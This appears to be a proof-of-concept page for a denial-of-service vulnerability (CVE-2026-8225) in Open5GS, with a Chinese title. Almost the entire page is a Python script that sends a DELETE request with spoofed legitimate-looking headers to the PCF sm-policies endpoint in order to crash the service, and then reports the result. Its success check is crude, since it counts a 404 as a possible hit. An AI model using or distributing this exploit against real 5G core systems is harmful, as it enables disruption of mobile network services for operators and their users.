CVE-2026-8225 Open5GS 拒绝服务漏洞

import requests # Target Open5GS PCF Endpoint URL # Replace with actual target address target_url = "http://<target-ip>:80/npcf/smpolicycontrol/v1/sm-policies/<policy_id>" # Headers mimicking a legitimate 5G Core request headers = { "Content-Type": "application/json", "User-Agent": "Open5GS-Tester" } try: # Sending a DELETE request to trigger the vulnerable function # pcf_npcf_smpolicycontrol_handle_delete response = requests.delete(target_url, headers=headers, timeout=5) if response.status_code == 500 or response.status_code == 404: print("[+] Potential vulnerability triggered, service returned error code.") else: print(f"[-] Request returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Service appears to be down (DoS condition): {e}")